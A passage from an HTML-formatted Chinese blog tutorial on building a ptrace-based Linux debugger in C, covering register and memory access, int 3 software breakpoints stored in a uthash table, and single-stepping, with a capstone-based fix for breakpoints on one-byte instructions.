Monaco, monospace;white-space: nowrap;"><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">set_register_value</span>(<span style="color: rgb(209, 154, 102);">pid_t</span> pid, <span style="color: rgb(198, 120, 221);">enum</span> reg r, <span style="color: rgb(209, 154, 102);">uint64_t</span> value){<br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">user_regs_struct</span> <span style="color: rgb(230, 192, 123);">regs</span>;<br/>    <span style="color: rgb(209, 154, 102);">int</span> reg_descriptor_idx;<br/>    ptrace(PTRACE_GETREGS, pid, <span style="color: rgb(86, 182, 194);">NULL</span>, &amp;regs);<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*locate reg_r`s index in user_regs_struct struct*/</span><br/>    reg_descriptor_idx = <span style="color: rgb(209, 154, 102);">-1</span>;<br/>    <span style="color: rgb(198, 120, 221);">for</span>(<span style="color: rgb(209, 154, 102);">int</span> i = <span style="color: rgb(209, 154, 102);">0</span>; i &lt; n_regs; i++){<br/>        <span style="color: rgb(198, 120, 221);">if</span>(g_register_descriptors[i].r == r){<br/>            reg_descriptor_idx = i;<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        }<br/>    }<br/>    *(<span style="color: rgb(209, 154, 102);">uint64_t</span> *)((<span style="color: rgb(209, 154, 102);">uint64_t</span> *)&amp;regs + reg_descriptor_idx) = value;<br/>    ptrace(PTRACE_SETREGS, pid, <span style="color: rgb(86, 182, 194);">NULL</span>, &amp;regs);<br/>}<br/><span style="color: rgb(209, 154, 102);">uint64_t</span> <span style="color: rgb(97, 174, 238);">get_register_value</span>(<span style="color: rgb(209, 154, 102);">pid_t</span> pid, <span style="color: rgb(198, 120, 221);">enum</span> reg r){<br/>    <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">user_regs_struct</span> <span style="color: rgb(230, 192, 123);">regs</span>;<br/>    <span style="color: rgb(209, 154, 102);">int</span> reg_descriptor_idx;<br/>    <span style="color: rgb(209, 154, 102);">uint64_t</span> ret = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    ptrace(PTRACE_GETREGS, pid, <span style="color: rgb(86, 182, 194);">NULL</span>, &amp;regs);<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*locate reg_r`s index in user_regs_struct struct*/</span><br/>    reg_descriptor_idx = <span style="color: rgb(209, 154, 102);">-1</span>;<br/>    <span style="color: rgb(198, 120, 221);">for</span>(<span style="color: rgb(209, 154, 102);">int</span> i = <span style="color: rgb(209, 154, 102);">0</span>; i &lt; n_regs; i++){<br/>        <span style="color: rgb(198, 120, 221);">if</span>(g_register_descriptors[i].r == r){<br/>            reg_descriptor_idx = i;<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        }<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">if</span>(reg_descriptor_idx != <span style="color: rgb(209, 154, 102);">-1</span>){<br/>        ret = *(<span style="color: rgb(209, 154, 102);">uint64_t</span> *)((<span style="color: rgb(209, 154, 102);">uint64_t</span> *)&amp;regs + reg_descriptor_idx);<br/>        <span style="color: rgb(198, 120, 221);">return</span> ret;<br/>    }<br/>    <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;[error] get_register_value(%d, %d)\n&#34;</span>, pid, r);<br/>    <span style="color: rgb(198, 120, 221);">return</span> ret;<br/>}<br/><span style="color: rgb(92, 99, 112);font-style: italic;">/*辅助函数*/</span><br/><span style="color: rgb(209, 154, 102);">char</span> *<span style="color: rgb(97, 174, 238);">get_register_name</span>(<span style="color: rgb(198, 120, 221);">enum</span> reg r){<br/>    <span style="color: rgb(198, 120, 221);">for</span>(<span style="color: rgb(209, 154, 102);">int</span> i = <span style="color: rgb(209, 154, 102);">0</span>; i &lt; n_regs; i++){<br/>        <span style="color: rgb(198, 120, 221);">if</span>(g_register_descriptors[i].r == r)<br/>            <span style="color: rgb(198, 120, 221);">return</span> g_register_descriptors[i].name;<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">NULL</span>;<br/>}<br/><span style="color: rgb(198, 120, 221);">enum</span> reg <span style="color: rgb(97, 174, 238);">get_register_from_name</span>(<span style="color: rgb(209, 154, 102);">char</span> *name){<br/>    <span style="color: rgb(198, 120, 221);">for</span>(<span style="color: rgb(209, 154, 102);">int</span> i = <span style="color: rgb(209, 154, 102);">0</span>; i &lt; n_regs; i++){<br/>        <span style="color: rgb(198, 120, 221);">if</span>(!strcasecmp(name, g_register_descriptors[i].name)){<br/>            <span style="color: rgb(198, 120, 221);">return</span> g_register_descriptors[i].r;<br/>        }<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">-1</span>;      <span style="color: rgb(92, 99, 112);font-style: italic;">/*-1 is impossible in reg_descriptor-&gt;r*/</span><br/>}</code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">读写内存</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  读写内存和寄存器很类似，但使用ptrace一次性只能读写8字节(64位)：<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ptrace(PTRACE_PEEKDATA, dbg-&gt;d_pid, address, NULL)</code>需要提供子进程的虚拟内存地址(address)</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(209, 154, 102);">uint64_t</span> <span style="color: rgb(97, 174, 238);">dbg_read_memory</span>(Debugger *dbg, <span style="color: rgb(209, 154, 102);">uint64_t</span> address){<br/>    <span style="color: rgb(198, 120, 221);">return</span> ptrace(PTRACE_PEEKDATA, dbg-&gt;d_pid, address, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>}<br/><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">dbg_write_memory</span>(Debugger *dbg, <span style="color: rgb(209, 154, 102);">uint64_t</span> address, <span style="color: rgb(209, 154, 102);">uint64_t</span> value){<br/>    ptrace(PTRACE_POKEDATA, dbg-&gt;d_pid, address, value);<br/>}</code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">断点</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  断点其实有两种：硬断点和软断点。其中硬断点涉及到CPU架构数量有限比如x86结构提供4个硬件断点(断点寄存器)，但可以检测读写执行三种情况。而软断点通过在指定位置插入<strong style="line-height: 1.75;color: rgb(255, 118, 118);">断点指令</strong>，然后程序运行到此处执行断点指令让debugger获取<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SIGTRAP</code>信号并停止运行，因此软断点可以有无数个；这里主要实现软断点，如x86的断点指令为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">int 3</code>(机器码 0xcc)，需要考虑断点插入，断点记录，触发断点后如何继续运行等</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用如下结构体存储断点信息：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(92, 99, 112);font-style: italic;">/**<br/> * breakpoints utils<br/>*/</span><br/><span style="color: rgb(198, 120, 221);">typedef</span> <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">Breakpoint</span>{<br/>    <span style="color: rgb(209, 154, 102);">int</span> b_pid;<br/>    <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> b_addr;           <span style="color: rgb(92, 99, 112);font-style: italic;">//map key</span><br/>    <span style="color: rgb(209, 154, 102);">int</span> b_enabled;<br/>    <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">char</span> b_saved_data;  <span style="color: rgb(92, 99, 112);font-style: italic;">//需要保存插入0xcc位置的数据</span><br/>    UT_hash_handle hh;<br/>}Breakpoint;<br/></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">借助[uthash](<span style="line-height: 1.75;color: rgb(87, 107, 149);">troydhanson/uthash: C macros for hash tables and more (github.com)</span>)开源项目实现一个hash表来记录断点信息，只需在结构体中包含<strong style="line-height: 1.75;color: rgb(255, 118, 118);">UT_hash_handle</strong>成员即可；其提供宏HASH_FIND_PTR：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">define</span> HASH_FIND_PTR(head,findptr,out) HASH_FIND(hh,head,findptr,sizeof(void *),out)</span></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以通过结构体中的<strong style="line-height: 1.75;color: rgb(255, 118, 118);">b_addr</strong>作为key，其表头在初始化<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Debugger</code>结构体时设置为NULL即可：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">Debugger dbg;<br/>dbg.d_brks = <span style="color: rgb(86, 182, 194);">NULL</span>;       <span style="color: rgb(92, 99, 112);font-style: italic;">/* important! initialize to NULL related to breakpoints` map*/</span></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后实现两个断点函数：brk_enable，brk_disable；分别进行插入断点和去除断点：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&#34;utils.h&#34;</span></span><br/><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">brk_enable</span>(Breakpoint *bp){<br/>    <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> data = ptrace(PTRACE_PEEKDATA, bp-&gt;b_pid, bp-&gt;b_addr, <span style="color: rgb(209, 154, 102);">0</span>);<br/>    bp-&gt;b_saved_data = data &amp; <span style="color: rgb(209, 154, 102);">0xff</span>;     <span style="color: rgb(92, 99, 112);font-style: italic;">//save LSB</span><br/>    data = ((data &amp; ~<span style="color: rgb(209, 154, 102);">0xff</span>) | INT3);<br/>    ptrace(PTRACE_POKEDATA, bp-&gt;b_pid, bp-&gt;b_addr, data);<br/>    bp-&gt;b_enabled = <span style="color: rgb(209, 154, 102);">1</span>;<br/>}<br/><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">brk_disable</span>(Breakpoint *bp){<br/>    <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> data = ptrace(PTRACE_PEEKDATA, bp-&gt;b_pid, bp-&gt;b_addr, <span style="color: rgb(209, 154, 102);">0</span>);<br/>    data = ((data &amp; ~<span style="color: rgb(209, 154, 102);">0xff</span>) | bp-&gt;b_saved_data);<br/>    ptrace(PTRACE_POKEDATA, bp-&gt;b_pid, bp-&gt;b_addr, data);<br/>    bp-&gt;b_enabled = <span style="color: rgb(209, 154, 102);">0</span>;<br/>}</code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">单步</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  单步运行时除了普通指令，需要考虑是否跳过函数调用(<strong style="line-height: 1.75;color: rgb(255, 118, 118);">call</strong>)也就是需要<strong style="line-height: 1.75;color: rgb(255, 118, 118);">步过</strong>的情况，还有如果当前为断点处单步时需要格外的断点处理。基于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ptrace(PTRACE_SINGLESTEP, ...)</code>单步步入时需要考虑两种情况，涉及断点；其他非断点情况直接<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">PTRACE_SINGLESTEP</code>单步运行即可</p><ul style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• pc刚好触发一个断点，即执行了<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">0xcc</code></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• pc即将触发一个断点</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用如下函数处理单步命令：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(92, 99, 112);font-style: italic;">/*we can show UI here*/</span><br/><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">dbg_step_in</span>(Debugger *dbg){<br/>    <span style="color: rgb(209, 154, 102);">uint64_t</span> possible_pc = get_pc(dbg) - <span style="color: rgb(209, 154, 102);">1</span>;    <span style="color: rgb(92, 99, 112);font-style: italic;">/*if this is breakpoint int 3 executed*/</span><br/>    Breakpoint *bp = <span style="color: rgb(86, 182, 194);">NULL</span>;<br/>    HASH_FIND_PTR(dbg-&gt;d_brks, &amp;possible_pc, bp);<br/>    <span style="color: rgb(198, 120, 221);">if</span>(bp != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp-&gt;b_enabled){<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/*step over breakpoint*/</span><br/>        brk_disable(bp);<br/>        set_pc(dbg, possible_pc);<br/>        ptrace(PTRACE_SINGLESTEP, dbg-&gt;d_pid, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>        wait_for_signal(dbg);<br/>        brk_enable(bp);<br/>    }<span style="color: rgb(198, 120, 221);">else</span>{<br/>        ptrace(PTRACE_SINGLESTEP, dbg-&gt;d_pid, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>        wait_for_signal(dbg);<br/>    }<br/>    show_UI(dbg);<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">但是后来发现一个bug：当断点设置在一个单机器码的指令处时(如 push rbp 0x55)，以上逻辑会陷入死循环，因为每次单步时都会检测<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">pc-1</code>是否为断点；所以得想办法面对单机器码断点的情况避免该逻辑，不可能把所有单机器码指令全列出来然后比对，所以这里使用反编译引擎<strong style="line-height: 1.75;color: rgb(255, 118, 118);">capstone</strong>。如果pc-1是个断点那么先判断pc-1处的指令长度是否为1，如果是那么设置一个静态flag表示已经步过一个单机器码的断点下一次单步时不再考虑pc-1：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(92, 99, 112);font-style: italic;">/**<br/> * This function invoked in situation:<br/> * 1.PTRACE_SINGLESTEP the current instruction which maybe inserted a breakpoint OR maybe not<br/> * 2.already triggered a breakpoint(0xcc) PTRACE_SINGLESTEP the broken instruction<br/> * we can show UI here<br/>*/</span><br/><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">dbg_step_in</span>(Debugger *dbg){<br/>    <span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(209, 154, 102);">bool</span> one_machine_code_flag = <span style="color: rgb(86, 182, 194);">false</span>;<br/>    <span style="color: rgb(209, 154, 102);">uint64_t</span> possible_pc, data;<br/>    Breakpoint *bp = <span style="color: rgb(86, 182, 194);">NULL</span>;<br/>    csh handle = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    cs_insn* insn;<br/>    <span style="color: rgb(209, 154, 102);">size_t</span> count;<br/>    <span style="color: rgb(209, 154, 102);">int</span> child_status;<br/>    <span style="color: rgb(198, 120, 221);">if</span>(!one_machine_code_flag){<br/>        possible_pc = get_pc(dbg) - <span style="color: rgb(209, 154, 102);">1</span>;          <span style="color: rgb(92, 99, 112);font-style: italic;">/*if this is breakpoint int 3 executed*/</span><br/>        HASH_FIND_PTR(dbg-&gt;d_brks, &amp;possible_pc, bp);<br/>        <span style="color: rgb(198, 120, 221);">if</span>(bp != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp-&gt;b_enabled){<br/>            brk_disable(bp);<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;">/*check for single machine code instruction*/</span><br/>            data = ptrace(PTRACE_PEEKDATA, dbg-&gt;d_pid, possible_pc, <span style="color: rgb(86, 182, 194);">NULL</span>);  <br/>            <span style="color: rgb(198, 120, 221);">if</span> (cs_open(CS_ARCH_X86, CS_MODE_64, &amp;handle)) {<br/>                <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;[error]: Failed to initialize capstone engine!\n&#34;</span>);<br/>                <span style="color: rgb(230, 192, 123);">exit</span>(<span style="color: rgb(209, 154, 102);">-1</span>);<br/>            }<br/>            cs_disasm(handle, (<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">char</span>*)&amp;data, <span style="color: rgb(209, 154, 102);">8</span>, <span style="color: rgb(209, 154, 102);">0x1000</span>, <span style="color: rgb(209, 154, 102);">1</span>, &amp;insn);<br/>            <span style="color: rgb(198, 120, 221);">if</span>(insn-&gt;size == <span style="color: rgb(209, 154, 102);">1</span>){<br/>                one_machine_code_flag = <span style="color: rgb(86, 182, 194);">true</span>;<br/>            }<span style="color: rgb(198, 120, 221);">else</span>{<br/>                one_machine_code_flag = <span style="color: rgb(86, 182, 194);">false</span>;<br/>            }<br/>            set_pc(dbg, possible_pc);<br/>            ptrace(PTRACE_SINGLESTEP, dbg-&gt;d_pid, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>            wait_for_signal(dbg);<br/>            brk_enable(bp);<br/>        }<span style="color: rgb(198, 120, 221);">else</span>{<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;">/*if we are here then this`s caused by PTRACE_SINGLESTEP and maybe we going to trigger a breakpoint or maybe not*/</span><br/>            possible_pc += <span style="color: rgb(209, 154, 102);">1</span>;<br/>            one_machine_code_flag = <span style="color: rgb(86, 182, 194);">false</span>;<br/>            HASH_FIND_PTR(dbg-&gt;d_brks, &amp;possible_pc, bp);<br/>            <span style="color: rgb(198, 120, 221);">if</span>(bp != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp-&gt;b_enabled){<br/>                brk_disable(bp);<br/>                ptrace(PTRACE_SINGLESTEP, dbg-&gt;d_pid, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>                wait_for_signal(dbg);<br/>                brk_enable(bp);<br/>            }<span style="color: rgb(198, 120, 221);">else</span>{<br/>                ptrace(PTRACE_SINGLESTEP, dbg-&gt;d_pid, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>                wait_for_signal(dbg);<br/>            }   <br/>        }<br/>    }<span style="color: rgb(198, 120, 221);">else</span>{<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/*the previous instruction is a single machine code instruction and breakpoint*/</span><br/>        possible_pc = get_pc(dbg);      <span style="color: rgb(92, 99, 112);font-style: italic;">/*check current pc*/</span><br/>        one_machine_code_flag = <span style="color: rgb(86, 182, 194);">false</span>;<br/>        HASH_FIND_PTR(dbg-&gt;d_brks, &amp;possible_pc, bp);<br/>        <span style="color: rgb(198, 120, 221);">if</span>(bp != <span style="color: rgb(86, 182, 194);">NULL</span> &amp;&amp; bp-&gt;b_enabled){<br/>            brk_disable(bp);<br/>            ptrace(PTRACE_SINGLESTEP, dbg-&gt;d_pid, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>            wait_for_signal(dbg);<br/>            brk_enable(bp);<br/>        }<span style="color: rgb(198, 120, 221);">else</span>{<br/>            ptrace(PTRACE_SINGLESTEP, dbg-&gt;d_pid, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>            wait_for_signal(dbg);            <br/>        }<br/>    }<br/>    show_UI(dbg);<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">步过主要用在函数调用上，在使用步过时主要考虑以下几种情况：</p><ul style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• pc触发了需要步过的call指令上的断点，即pc执行了0xcc</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• pc即将步过的call指令上被插入了断点</p></li><li style="text-align: 